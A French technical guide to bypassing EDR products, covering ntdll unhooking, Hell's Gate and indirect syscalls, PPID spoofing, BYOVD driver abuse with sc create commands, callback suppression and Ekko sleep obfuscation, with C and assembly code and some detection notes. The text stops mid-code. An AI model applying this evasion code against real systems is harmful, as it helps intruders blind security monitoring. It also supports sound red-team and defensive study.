Guide technique complet sur les techniques de bypass EDR : unhooking userland, direct syscalls, BYOVD, sleep obfuscation, LOLBins. Défenses et détection incluses.
Le contournement des solutions EDR (Endpoint Detection and Response) constitue l'un des domaines les plus actifs et les plus complexes de la cybersécurité offensive contemporaine. Alors que les entreprises investissent massivement dans des plateformes de détection sophistiquées capables d'analyser chaque appel système, chaque allocation mémoire et chaque connexion réseau, les attaquants développent parallèlement des techniques d'évasion toujours plus ingénieuses pour opérer sous le radar de ces sentinelles numériques. Cet article propose une analyse exhaustive des techniques de bypass EDR utilisées en 2026, depuis les méthodes classiques d'unhooking en espace utilisateur jusqu'aux approches les plus avancées impliquant la manipulation du noyau Windows. Nous examinerons en détail le fonctionnement interne des EDR pour comprendre leurs surfaces d'attaque, nous dresserons une taxonomie complète des vecteurs d'évasion, puis nous étudierons les contre-mesures que les équipes défensives peuvent déployer pour détecter ces tentatives de contournement. Que vous soyez pentesteur cherchant à perfectionner vos techniques d'évasion antivirus, analyste SOC souhaitant comprendre les angles morts de vos outils, ou architecte sécurité évaluant la robustesse de votre stack de détection, ce guide technique de référence vous fournira les connaissances nécessaires pour naviguer dans cet écosystème en perpétuelle évolution.
Qu'est-ce qu'un EDR et comment fonctionne-t-il en profondeur
Avant de pouvoir contourner un EDR, il est indispensable de comprendre précisément ses mécanismes de détection. Un EDR moderne n'est pas un simple antivirus basé sur des signatures : c'est un système multi-couches qui instrumente le système d'exploitation à différents niveaux pour collecter de la télémétrie comportementale, l'analyser localement et dans le cloud, puis déclencher des actions de remédiation automatisées. Cette compréhension architecturale est le fondement de toute stratégie de bypass EDR efficace.
Les hooks userland : la première ligne de détection
La technique de détection la plus répandue parmi les EDR consiste à injecter une DLL (Dynamic Link Library) dans chaque processus du système. Cette DLL, souvent appelée « sensor » ou « agent », intercepte les appels aux fonctions critiques de ntdll.dll, la bibliothèque qui sert d'interface entre le mode utilisateur et le noyau Windows. Concrètement, l'EDR remplace les premiers octets de fonctions comme NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx ou NtMapViewOfSection par un JMP (saut inconditionnel) vers son propre code d'analyse.
Lorsqu'un programme appelle par exemple NtAllocateVirtualMemory pour allouer de la mémoire avec des permissions d'exécution (RWX), le flux d'exécution est d'abord redirigé vers la DLL de l'EDR. Celle-ci inspecte les paramètres de l'appel — taille de l'allocation, permissions demandées, processus cible — et décide si l'opération est suspecte. Si elle l'est, l'EDR peut bloquer l'appel, générer une alerte, ou les deux. Si l'opération semble légitime, le hook transmet l'appel à la véritable fonction NtAllocateVirtualMemory pour exécution normale.
Voici un exemple simplifié de ce à quoi ressemble un hook inline typique en mémoire :
// Avant le hook (ntdll.dll originale)
NtAllocateVirtualMemory:
mov r10, rcx ; 4C 8B D1
mov eax, 0x18 ; B8 18 00 00 00 (numéro de syscall)
syscall ; 0F 05
ret ; C3
// Après le hook par l'EDR
NtAllocateVirtualMemory:
jmp 0x7FFE12340000 ; E9 XX XX XX XX (saut vers la DLL EDR)
nop ; 90
nop ; 90
syscall ; 0F 05
ret ; C3
Cette technique de hooking présente un avantage considérable pour les EDR : elle est relativement simple à implémenter et permet d'inspecter les appels API à un niveau très proche du noyau, avant que le syscall ne soit réellement exécuté. Cependant, puisque ces hooks résident dans l'espace mémoire du processus lui-même (userland), ils sont également accessibles — et donc modifiables — par le processus qu'ils sont censés surveiller. C'est cette faiblesse architecturale fondamentale qui ouvre la porte à de nombreuses techniques de contournement EDR.
Kernel callbacks et minifilters : la surveillance système
Au-delà des hooks userland, les EDR modernes utilisent des mécanismes du noyau Windows pour surveiller les événements système à un niveau plus profond. Les kernel callbacks sont des fonctions enregistrées auprès du noyau qui sont appelées automatiquement lorsque certains événements se produisent. Les plus importants pour la détection incluent :
PsSetCreateProcessNotifyRoutine : notifie l'EDR de la création et de la terminaison de chaque processus sur le système. L'EDR peut ainsi construire un arbre de processus, identifier les relations parent-enfant suspectes et détecter des techniques comme le PPID spoofing.
PsSetCreateThreadNotifyRoutine : alerte l'EDR lorsqu'un nouveau thread est créé, particulièrement utile pour détecter l'injection de code dans des processus distants via CreateRemoteThread ou des techniques similaires.
PsSetLoadImageNotifyRoutine : informe l'EDR de chaque chargement d'image (DLL, EXE) en mémoire, permettant de détecter le chargement réflectif de DLL ou le side-loading malveillant.
ObRegisterCallbacks : permet à l'EDR d'intercepter les demandes d'ouverture de handle sur les processus et les threads. C'est grâce à ce mécanisme qu'un EDR peut détecter quand un processus tente d'ouvrir un handle avec des permissions PROCESS_ALL_ACCESS sur lsass.exe, signe révélateur d'un dump de credentials.
Les minifilters constituent un autre composant critique. Ce sont des drivers de système de fichiers qui s'intercalent dans la pile d'I/O de Windows pour surveiller toutes les opérations sur les fichiers : création, lecture, écriture, suppression. Un EDR utilise un minifilter pour scanner les fichiers écrits sur le disque, détecter le dépôt de payloads malveillants, et surveiller l'accès à des fichiers sensibles comme la base SAM ou les fichiers de la ruche du registre.
ETW : Event Tracing for Windows
ETW (Event Tracing for Windows) est le système de traçage et de journalisation intégré au noyau Windows. Il fournit une télémétrie extrêmement riche que les EDR exploitent massivement. Parmi les providers ETW les plus utiles pour la détection de menaces, on trouve :
Microsoft-Windows-Threat-Intelligence : ce provider, accessible uniquement aux processus PPL (Protected Process Light), génère des événements pour les opérations mémoire suspectes entre processus. Il rapporte les allocations mémoire distantes, les écritures dans la mémoire d'autres processus, et les modifications de protection mémoire — exactement les primitives nécessaires à l'injection de code.
Microsoft-Windows-DotNETRuntime : fournit des événements détaillés sur l'exécution de code .NET, incluant le chargement d'assemblies en mémoire (Assembly.Load), ce qui permet de détecter les attaques execute-assembly utilisées par des frameworks comme Cobalt Strike.
Microsoft-Windows-PowerShell : journalise l'exécution de scripts PowerShell, y compris le contenu des scripts exécutés via le Script Block Logging, rendant la plupart des attaques PowerShell classiques détectables.
AMSI : Anti-Malware Scan Interface
AMSI est une interface standardisée introduite par Microsoft qui permet aux moteurs antimalware d'analyser le contenu des scripts au moment de leur exécution, même si ce contenu a été obfusqué ou chiffré avant l'exécution. AMSI est intégré dans PowerShell, le Windows Script Host (WSH), VBA dans Office, et le runtime .NET. Quand un script PowerShell s'exécute, chaque bloc de script est d'abord soumis à AMSI, qui le transmet au moteur antimalware enregistré (Windows Defender ou un EDR tiers) pour analyse. Cette analyse intervient après la déobfuscation, ce qui permet de détecter le contenu malveillant même si le script original était fortement obfusqué.
Un EDR opère simultanément à quatre niveaux : les hooks userland sur ntdll.dll pour intercepter les appels API natifs, les kernel callbacks pour surveiller les événements système (création de processus, threads, chargement d'images), les minifilters pour contrôler les opérations sur le système de fichiers, et les providers ETW pour collecter de la télémétrie fine sur l'activité réseau, mémoire et d'exécution. Comprendre chacune de ces couches est essentiel pour évaluer — et renforcer — la posture défensive d'une organisation. Chaque couche présente des forces et des faiblesses spécifiques que les équipes de sécurité doivent connaître.
Taxonomie des techniques de bypass EDR
Les techniques de contournement EDR peuvent être classifiées selon plusieurs axes : le niveau d'opération (userland vs kernel), la phase d'attaque ciblée (exécution initiale, post-exploitation, exfiltration), et le composant EDR visé (hooks, callbacks, ETW, AMSI). Cette taxonomie permet de comprendre l'étendue de la surface d'attaque des EDR et d'organiser les défenses en conséquence. Conformément au framework MITRE ATT&CK, ces techniques relèvent principalement de la tactique « Defense Evasion » (TA0005).
Classification par vecteur d'attaque
| Catégorie | Technique | Niveau | Composant ciblé | Complexité |
|---|---|---|---|---|
| Unhooking | Remap ntdll.dll depuis le disque | Userland | Hooks inline | Faible |
| Unhooking | Perun's Fart (suspend/resume) | Userland | Hooks inline | Moyenne |
| Syscalls directs | Hell's Gate / Halo's Gate | Userland | Hooks inline | Moyenne |
| Syscalls directs | SysWhispers / SysWhispers3 | Userland | Hooks inline | Faible |
| Syscalls indirects | Indirect syscalls via JMP | Userland | Hooks inline + call stack | Élevée |
| Injection | Process hollowing | Userland | Callbacks processus | Moyenne |
| Injection | Thread hijacking | Userland | Callbacks threads | Moyenne |
| Injection | Module stomping | Userland | Callbacks image load | Élevée |
| Spoofing | PPID spoofing | Userland | Arbre de processus | Faible |
| Kernel | BYOVD | Kernel | Driver EDR | Élevée |
| Kernel | Callback suppression | Kernel | Kernel callbacks | Élevée |
| ETW | ETW patching | Userland | Télémétrie ETW | Faible |
| AMSI | AmsiScanBuffer patching | Userland | Analyse scripts | Faible |
| LOLBins | Living off the Land | Userland | Détection comportementale | Variable |
| Mémoire | Sleep obfuscation (Ekko/Foliage) | Userland | Scan mémoire | Élevée |
| Réseau | Domain fronting | Réseau | Inspection réseau | Moyenne |
Cette classification met en évidence que la majorité des techniques de contournement EDR ciblent les hooks userland, ce qui est logique puisque ces hooks constituent la couche de détection la plus exposée. Toutefois, les techniques les plus redoutables sont celles qui combinent plusieurs vecteurs simultanément — par exemple, des syscalls indirects avec du sleep obfuscation et du stack spoofing — pour créer une chaîne d'évasion difficile à détecter par corrélation.
Le principe de la défense en profondeur inversée
Du point de vue de l'attaquant, le contournement d'un EDR ne se résume pas à désactiver un seul mécanisme de détection. Un bypass EDR complet nécessite de neutraliser ou d'éviter simultanément les hooks userland (pour l'exécution du shellcode), les kernel callbacks (pour les opérations inter-processus), ETW (pour la télémétrie d'exécution), AMSI (pour les scripts), et les minifilters (pour les opérations disque). Chaque couche contournée réduit la visibilité de l'EDR, mais laisser une seule couche intacte peut suffire à déclencher une détection. C'est pourquoi les outils de Red Team modernes implémentent une approche holistique du bypass, traitant chaque couche de détection comme un obstacle distinct à surmonter. Pour approfondir les solutions EDR/XDR du marché, consultez notre comparatif des solutions EDR et XDR.
Techniques userland : unhooking et syscalls
Les techniques userland constituent le premier pilier du bypass EDR. Elles ciblent les hooks placés par l'EDR dans l'espace mémoire du processus et visent soit à les supprimer (unhooking), soit à les contourner entièrement (syscalls directs/indirects). Ces techniques sont les plus largement documentées et implémentées dans les outils offensifs, mais elles restent efficaces contre de nombreux EDR commerciaux en 2026.
L'unhooking classique : restauration de ntdll.dll
La technique d'unhooking la plus intuitive consiste à restaurer les octets originaux de ntdll.dll en mémoire, supprimant ainsi les hooks de l'EDR. La méthode la plus courante pour obtenir une copie « propre » de ntdll est de la relire depuis le disque et de remapper la section .text (qui contient le code exécutable) par-dessus la version hookée en mémoire.
// Unhooking ntdll.dll par remapping depuis le disque
#include <windows.h>
#include <winternl.h>
BOOL UnhookNtdll() {
// 1. Obtenir le handle du fichier ntdll.dll sur le disque
HANDLE hFile = CreateFileA(
"C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) return FALSE;
// 2. Créer un mapping du fichier en mémoire
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (!hMapping) { CloseHandle(hFile); return FALSE; }
// 3. Mapper la vue du fichier
LPVOID pMapping = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (!pMapping) {
CloseHandle(hMapping);
CloseHandle(hFile);
return FALSE;
}
// 4. Trouver la section .text dans le PE mappé depuis le disque
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pMapping;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(
(BYTE*)pMapping + pDosHeader->e_lfanew
);
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
if (strcmp((char*)pSection[i].Name, ".text") == 0) {
// 5. Obtenir l'adresse de ntdll chargée en mémoire
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
LPVOID pDst = (LPVOID)((BYTE*)hNtdll + pSection[i].VirtualAddress);
LPVOID pSrc = (LPVOID)((BYTE*)pMapping + pSection[i].PointerToRawData);
DWORD dwSize = pSection[i].SizeOfRawData;
// 6. Changer les permissions pour écrire
DWORD dwOldProtect;
VirtualProtect(pDst, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 7. Copier la section .text propre par-dessus la version hookée
memcpy(pDst, pSrc, dwSize);
// 8. Restaurer les permissions originales
VirtualProtect(pDst, dwSize, dwOldProtect, &dwOldProtect);
break;
}
}
// Nettoyage
UnmapViewOfFile(pMapping);
CloseHandle(hMapping);
CloseHandle(hFile);
return TRUE;
}
Cette technique, bien que conceptuellement simple, présente plusieurs limitations. D'abord, l'EDR peut surveiller l'accès au fichier ntdll.dll sur le disque via son minifilter. Ensuite, l'appel à VirtualProtect pour modifier les permissions de la section .text de ntdll est lui-même un indicateur de compromission (IoC) que les EDR avancés détectent. Enfin, certains EDR vérifient périodiquement l'intégrité de leurs hooks et peuvent les réinstaller s'ils ont été supprimés.
Variantes avancées d'unhooking
Pour contourner la détection de l'unhooking classique, plusieurs variantes ont été développées :
Unhooking depuis une copie KnownDlls : au lieu de lire ntdll depuis le disque (ce que le minifilter peut détecter), cette technique ouvre la section \KnownDlls\ntdll.dll via NtOpenSection puis la mappe en mémoire. KnownDlls est un cache en mémoire du noyau contenant des copies propres de DLL système fréquemment utilisées. L'avantage est qu'aucun accès disque n'est nécessaire.
Perun's Fart : cette technique crée un nouveau processus suspendu (par exemple notepad.exe), lit sa copie vierge de ntdll.dll (qui n'a pas encore été hookée par l'EDR car le processus est suspendu), copie la section .text propre dans le processus courant, puis termine le processus suspendu. L'EDR a moins de chances de détecter cette opération car la lecture de mémoire d'un autre processus est une opération plus commune que la modification de la section .text de ntdll.
Unhooking sélectif : plutôt que de restaurer l'intégralité de la section .text, cette approche ne restaure que les fonctions spécifiques nécessaires à l'opération malveillante (par exemple uniquement NtAllocateVirtualMemory, NtWriteVirtualMemory et NtCreateThreadEx). Cela réduit l'empreinte de l'opération et rend la détection par vérification d'intégrité périodique plus difficile.
Hell's Gate : résolution dynamique des numéros de syscall
Hell's Gate, publié par am0nsec et smelly__vx en 2020, a marqué un tournant dans les techniques de bypass EDR. Au lieu de supprimer les hooks, cette technique les contourne entièrement en effectuant les syscalls directement depuis le code de l'attaquant, sans passer par ntdll.dll. Le défi principal est de déterminer le numéro de syscall (SSN — System Service Number) de chaque fonction, car ces numéros changent entre les versions de Windows.
Hell's Gate résout ce problème en parcourant la table d'export de ntdll.dll en mémoire et en lisant le numéro de syscall directement depuis le code de chaque fonction. Même si la fonction est hookée, l'instruction mov eax, SSN est généralement préservée par le hook (le hook remplace les premiers octets mais le SSN reste lisible à un offset connu).
// Principe de Hell's Gate : extraction du SSN depuis une fonction hookée
// Structure représentant une entrée de la table de syscalls
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress; // Adresse de la fonction dans ntdll
DWORD64 dwHash; // Hash du nom de la fonction
WORD wSystemCall; // Numéro de syscall (SSN)
} VX_TABLE_ENTRY, *PVX_TABLE_ENTRY;
BOOL GetSyscallNumber(PVOID pFunctionAddress, PWORD pSyscallNumber) {
BYTE* pByte = (BYTE*)pFunctionAddress;
// Cas 1 : fonction non hookée - pattern standard
// mov r10, rcx (4C 8B D1) puis mov eax, SSN (B8 XX XX 00 00)
if (pByte[0] == 0x4C && pByte[1] == 0x8B && pByte[2] == 0xD1 &&
pByte[3] == 0xB8) {
*pSyscallNumber = *(WORD*)(pByte + 4);
return TRUE;
}
// Cas 2 : fonction hookée - le JMP a remplacé les premiers octets
// On cherche le SSN dans les fonctions voisines non hookées
// et on interpole le numéro
// Chercher vers le bas (fonctions suivantes)
for (WORD i = 1; i < 500; i++) {
BYTE* pNeighbor = pByte + (i * 32); // approximation de l'espacement
if (pNeighbor[0] == 0x4C && pNeighbor[1] == 0x8B &&
pNeighbor[2] == 0xD1 && pNeighbor[3] == 0xB8) {
*pSyscallNumber = *(WORD*)(pNeighbor + 4) - i;
return TRUE;
}
}
// Chercher vers le haut (fonctions précédentes)
for (WORD i = 1; i < 500; i++) {
BYTE* pNeighbor = pByte - (i * 32);
if (pNeighbor[0] == 0x4C && pNeighbor[1] == 0x8B &&
pNeighbor[2] == 0xD1 && pNeighbor[3] == 0xB8) {
*pSyscallNumber = *(WORD*)(pNeighbor + 4) + i;
return TRUE;
}
}
return FALSE;
}
Halo's Gate : l'évolution pour les hooks agressifs
Halo's Gate est une évolution de Hell's Gate qui gère le cas où l'EDR a hooké de manière plus agressive, modifiant davantage d'octets de la fonction cible. Lorsque le pattern standard n'est pas trouvé à l'adresse de la fonction, Halo's Gate examine les fonctions voisines dans la table de syscalls de ntdll. Les numéros de syscall étant séquentiels (NtAllocateVirtualMemory peut être le syscall 0x18, la fonction suivante dans la table sera 0x19, etc.), il suffit de trouver une fonction voisine non hookée, lire son SSN, et calculer le SSN de la fonction ciblée par différence.
Cette technique est remarquablement robuste car il faudrait que l'EDR hooke absolument toutes les fonctions Nt* de ntdll — soit plus de 460 fonctions — pour empêcher Halo's Gate de fonctionner. En pratique, même les EDR les plus agressifs ne hookent que 30 à 50 fonctions jugées critiques pour la sécurité.
SysWhispers : la démocratisation des syscalls directs
SysWhispers, développé par jthuraisamy, a considérablement simplifié l'utilisation des syscalls directs en fournissant un générateur de stubs assembleur pour chaque version de Windows. SysWhispers2 a amélioré la portabilité en utilisant la résolution dynamique des SSN similaire à Hell's Gate. SysWhispers3, la version la plus récente, a introduit le support des syscalls indirects — une évolution cruciale que nous examinerons en détail.
Syscalls indirects : contourner la détection de la call stack
Les EDR ont rapidement évolué pour détecter les syscalls directs. La méthode de détection repose sur l'analyse de la call stack (pile d'appels) au moment du syscall. Dans une exécution normale, un syscall provient toujours d'une adresse à l'intérieur de ntdll.dll. Si l'EDR, via son driver kernel, détecte que l'instruction syscall a été exécutée depuis une adresse en dehors de ntdll (par exemple depuis une allocation mémoire RWX suspecte), il peut immédiatement flaguer l'appel comme malveillant.
Les syscalls indirects résolvent ce problème en faisant exécuter l'instruction syscall depuis l'intérieur de ntdll elle-même. L'attaquant prépare les registres et la pile exactement comme le ferait ntdll, mais au lieu d'exécuter son propre syscall, il saute (JMP) à l'instruction syscall; ret qui existe dans la vraie fonction ntdll. Ainsi, quand l'EDR examine la call stack, l'instruction syscall provient bien d'une adresse dans ntdll.dll, rendant la détection considérablement plus difficile.
; Syscall indirect - stub assembleur x64
; Au lieu d'exécuter syscall nous-mêmes, on saute au syscall
; dans la véritable ntdll.dll
EXTERN wSyscallNumber:DWORD
EXTERN pSyscallAddress:QWORD ; Adresse de l'instruction syscall dans ntdll
.code
NtAllocateVirtualMemory_Indirect PROC
mov r10, rcx ; Convention d'appel Windows syscall
mov eax, wSyscallNumber ; SSN résolu dynamiquement
jmp qword ptr [pSyscallAddress] ; JMP vers syscall;ret dans ntdll
NtAllocateVirtualMemory_Indirect ENDP
END
Cependant, même les syscalls indirects ne sont pas parfaits. Les EDR les plus avancés analysent désormais non seulement l'adresse du syscall mais aussi l'intégralité de la call stack, vérifiant que chaque frame de retour pointe vers un module légitime chargé en mémoire. Si un frame de la call stack pointe vers une zone mémoire non associée à un module connu (unbacked memory), c'est un signal fort de compromission.
Les syscalls directs (Hell's Gate, SysWhispers) contournent les hooks userland en invoquant directement le noyau, mais sont détectables par l'analyse de la call stack. Les syscalls indirects améliorent la furtivité en faisant exécuter l'instruction syscall depuis ntdll, mais restent vulnérables à l'analyse approfondie de la call stack qui vérifie que chaque frame de retour provient d'un module légitime. La course aux armements continue avec le stack spoofing et d'autres techniques d'évasion mémoire qui complètent les syscalls indirects pour obtenir une chaîne d'évasion complète.
PPID Spoofing : falsification de l'arbre de processus
Le PPID spoofing permet à un attaquant de créer un processus dont le parent apparent est différent du processus qui l'a réellement lancé. Les EDR utilisent l'arbre de processus comme signal de détection : un processus cmd.exe lancé par winword.exe est suspect car Word ne devrait pas spawner une invite de commandes. En falsifiant le PPID, l'attaquant peut faire apparaître son processus malveillant comme enfant d'un processus légitime comme explorer.exe ou svchost.exe.
La technique utilise l'attribut PROC_THREAD_ATTRIBUTE_PARENT_PROCESS de la structure STARTUPINFOEX lors de l'appel à CreateProcess :
// PPID Spoofing - faire apparaître notre processus comme enfant d'explorer.exe
#include <windows.h>
#include <tlhelp32.h>
DWORD GetProcessIdByName(const wchar_t* processName) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
if (Process32FirstW(hSnap, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, processName) == 0) {
CloseHandle(hSnap);
return pe.th32ProcessID;
}
} while (Process32NextW(hSnap, &pe));
}
CloseHandle(hSnap);
return 0;
}
BOOL CreateSpoofedProcess(LPCWSTR lpApplicationName) {
// Obtenir le PID d'explorer.exe
DWORD parentPid = GetProcessIdByName(L"explorer.exe");
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);
// Préparer la structure étendue
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
LPPROC_THREAD_ATTRIBUTE_LIST pAttrList =
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(pAttrList, 1, 0, &attrSize);
// Définir le parent process falsifié
UpdateProcThreadAttribute(
pAttrList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent,
sizeof(HANDLE),
NULL, NULL
);
STARTUPINFOEXW si = { 0 };
si.StartupInfo.cb = sizeof(si);
si.lpAttributeList = pAttrList;
PROCESS_INFORMATION pi = { 0 };
CreateProcessW(
lpApplicationName,
NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
NULL, NULL,
&si.StartupInfo,
&pi
);
// Nettoyage
DeleteProcThreadAttributeList(pAttrList);
HeapFree(GetProcessHeap(), 0, pAttrList);
CloseHandle(hParent);
return TRUE;
}
Les EDR modernes détectent le PPID spoofing en comparant le processus créateur réel (enregistré par le kernel callback PsSetCreateProcessNotifyRoutineEx) avec le parent déclaré dans le PEB (Process Environment Block). Une divergence entre ces deux valeurs est un IoC fiable de PPID spoofing.
Process Hollowing et Process Doppelgänging
Le process hollowing consiste à créer un processus légitime en état suspendu, à vider (« hollow ») son image en mémoire, à la remplacer par le code malveillant, puis à reprendre l'exécution. Le processus apparaît comme légitime dans les outils de monitoring car son image sur le disque correspond à un exécutable signé, mais son contenu en mémoire est entièrement différent.
Le process doppelgänging, plus sophistiqué, utilise les transactions NTFS (une fonctionnalité de Windows permettant des opérations atomiques sur le système de fichiers) pour créer un fichier temporaire transactionnel contenant le payload, créer une section à partir de ce fichier, puis annuler la transaction. Le fichier malveillant n'existe jamais réellement sur le disque, ce qui rend la détection par les minifilters très difficile.
Thread Hijacking : le détournement de threads existants
Au lieu de créer un nouveau thread (ce qui déclenche le callback PsSetCreateThreadNotifyRoutine), le thread hijacking suspend un thread existant dans le processus cible, modifie son contexte d'exécution (registre RIP/EIP) pour pointer vers le shellcode injecté, puis reprend le thread. Cette technique évite la création de threads détectable par les kernel callbacks, mais génère d'autres signaux comme la suspension de thread et la modification de son contexte.
Techniques kernel : BYOVD et manipulation des callbacks
Les techniques kernel représentent l'escalade ultime dans le contournement EDR. En obtenant une exécution de code dans le noyau Windows, un attaquant peut désactiver complètement les mécanismes de détection de l'EDR à la source, supprimant les kernel callbacks, déchargeant le minifilter, et même terminant les processus protégés de l'EDR. Ces techniques sont considérablement plus risquées (un bug peut provoquer un BSOD — écran bleu de la mort) mais aussi beaucoup plus puissantes.
BYOVD : Bring Your Own Vulnerable Driver
BYOVD (Bring Your Own Vulnerable Driver) exploite des drivers légitimes signés qui contiennent des vulnérabilités connues permettant l'exécution de code arbitraire en mode noyau. Depuis que Windows exige que tous les drivers soient signés numériquement, un attaquant ne peut pas simplement charger son propre driver malveillant. La solution est d'utiliser un driver signé par un éditeur légitime mais qui contient une faille exploitable.
Parmi les drivers vulnérables les plus utilisés, on trouve :
RTCore64.sys (Micro-Star International) : permet la lecture et l'écriture arbitraires en mémoire noyau. Ce driver a été utilisé dans de nombreuses attaques réelles, notamment par le groupe BlackByte et dans le ransomware RobbinHood.
dbutil_2_3.sys (Dell) : CVE-2021-21551, permet l'exécution de code en mode noyau via des IOCTL (Input/Output Control) vulnérables.
gdrv.sys (GIGABYTE) : permet la lecture/écriture arbitraires de la mémoire physique, une primitive extrêmement puissante qui permet de contourner les protections mémoire du noyau.
Une fois le code s'exécutant en mode noyau via le driver vulnérable, l'attaquant peut :
// Pseudo-code : utilisation d'un driver vulnérable pour désactiver un EDR
// 1. Charger le driver vulnérable légitime et signé
// sc create VulnDriver type=kernel binPath=C:\Temp\vuln_driver.sys
// sc start VulnDriver
// 2. Communiquer avec le driver via des IOCTL
HANDLE hDevice = CreateFile(
L"\\\\.\\VulnDeviceName",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL
);
// 3. Lire la mémoire noyau pour trouver le processus EDR dans la liste
// des processus (EPROCESS linked list)
KERNEL_READ_REQUEST readReq = {
.Address = eprocessAddress, // Adresse du EPROCESS de l'EDR
.Size = sizeof(EPROCESS),
.Buffer = localBuffer
};
DeviceIoControl(hDevice, IOCTL_READ_MEMORY, &readReq, ...);
// 4. Écrire en mémoire noyau pour modifier les tokens de sécurité
// ou terminer le processus EDR
KERNEL_WRITE_REQUEST writeReq = {
.Address = eprocessAddress + tokenOffset,
.Size = sizeof(TOKEN),
.Buffer = systemTokenBuffer // Token SYSTEM pour élever les privilèges
};
DeviceIoControl(hDevice, IOCTL_WRITE_MEMORY, &writeReq, ...);
Microsoft a introduit la Vulnerable Driver Blocklist (HVCI) pour bloquer le chargement de drivers vulnérables connus. Cependant, cette liste n'est pas toujours activée par défaut et de nouveaux drivers vulnérables sont régulièrement découverts. Le projet LOLDrivers maintient une base de données des drivers vulnérables exploitables pour le BYOVD.
Callback Suppression : désactiver les yeux du noyau
Une fois qu'un attaquant a obtenu l'exécution de code en mode noyau (via BYOVD ou une autre technique), il peut énumérer et supprimer les kernel callbacks enregistrés par l'EDR. Les callbacks sont stockés dans des tableaux internes du noyau :
PspCreateProcessNotifyRoutine : tableau de 64 entrées contenant les adresses des callbacks de notification de création de processus. Chaque entrée pointe vers la fonction du driver EDR qui est appelée lorsqu'un processus est créé.
PspCreateThreadNotifyRoutine : même principe pour les threads.
PspLoadImageNotifyRoutine : même principe pour le chargement d'images.
En remplaçant les entrées correspondant au driver EDR par des zéros ou par une fonction no-op, l'attaquant rend l'EDR aveugle à tous les événements de création de processus, threads et chargement d'images au niveau du noyau. Cela ne crash pas l'EDR (qui continue de fonctionner) mais le prive de toute sa télémétrie noyau.
L'outil EDRSandblast, développé par des chercheurs de l'ANSSI (Agence Nationale de la Sécurité des Systèmes d'Information), automatise ce processus en identifiant les offsets des tableaux de callbacks pour chaque version du noyau Windows, puis en utilisant un driver vulnérable pour les patcher.
Minifilter Abuse : contourner la surveillance du système de fichiers
Les minifilters sont des composants critiques des EDR car ils permettent de scanner les fichiers écrits sur le disque en temps réel. Un attaquant avec un accès noyau peut les contourner de plusieurs manières :
Déchargement du minifilter : via la commande fltMC unload ou l'API FilterUnload, mais cela nécessite des privilèges élevés et est souvent détecté.
Modification de l'altitude : chaque minifilter a une « altitude » (un nombre) qui détermine son ordre dans la pile d'I/O. En modifiant l'altitude du minifilter EDR, un attaquant peut le déplacer dans la pile de sorte qu'il ne voie plus certaines opérations.
Direct I/O au noyau : en utilisant des API natives pour écrire directement sur le disque en contournant la pile de minifilters, bien que cela soit extrêmement complexe et risqué.
Évasion mémoire : rester invisible en RAM
Les EDR modernes ne se contentent pas d'analyser les appels API et les événements système : ils effectuent également des scans périodiques de la mémoire des processus à la recherche de signatures de shellcode, d'implants C2, ou de patterns suspects. Les techniques d'évasion mémoire visent à rendre le payload indétectable même lors de ces scans mémoire, en chiffrant le contenu de la mémoire pendant les périodes d'inactivité, en falsifiant la call stack, et en se cachant dans des modules légitimes.
Sleep Obfuscation : chiffrer le payload pendant le sommeil
Un implant C2 passe la grande majorité de son temps en sommeil, attendant la prochaine période de communication avec le serveur de commande. Pendant ces périodes d'inactivité (qui peuvent durer plusieurs minutes ou heures), le shellcode de l'implant réside en clair en mémoire, vulnérable aux scans périodiques de l'EDR. Le sleep obfuscation résout ce problème en chiffrant le contenu de la mémoire de l'implant juste avant de s'endormir, puis en le déchiffrant au réveil.
Ekko : sleep obfuscation via les timer queues
Ekko, développé par C5pider, est une technique élégante de sleep obfuscation qui utilise les timer queues de Windows pour orchestrer le chiffrement et le déchiffrement. Le principe est le suivant : au lieu d'appeler simplement Sleep(), l'implant crée une série de timers qui s'exécuteront séquentiellement pour (1) changer les permissions mémoire de RX à RW, (2) chiffrer la mémoire avec XOR ou RC4, (3) dormir pendant la durée configurée, (4) déchiffrer la mémoire, et (5) remettre les permissions à RX.
L'avantage d'utiliser des timer queues plutôt qu'un thread dédié est que les callbacks des timers s'exécutent dans le contexte d'un worker thread du pool de threads de Windows, ce qui rend la call stack plus légitime aux yeux de l'EDR.
// Principe simplifié d'Ekko sleep obfuscation
#include <windows.h>
// Contexte global pour le sleep obfuscation
typedef struct _SLEEP_CONTEXT {
PVOID ImageBase; // Base de l'image de l'implant
DWORD ImageSize; // Taille de l'image
BYTE Key[16]; // Clé de chiffrement
DWORD SleepTime; // Durée du sommeil en ms
HANDLE hEvent; // Event pour la synchronisation
} SLEEP_CONTEXT, *PSLEEP_CONTEXT;
// Callback qui chiffre/déchiffre la mémoire par XOR
VOID CALLBACK XorMemoryCallback(PTP_CALLBACK_INSTANCE Instance,
PVOID Context, PTP_TIMER Timer) {
PSLEEP_CONTEXT ctx = (PSLEEP_CONTEXT)Context;
BYTE* mem = (BYTE*)ctx->ImageBase;
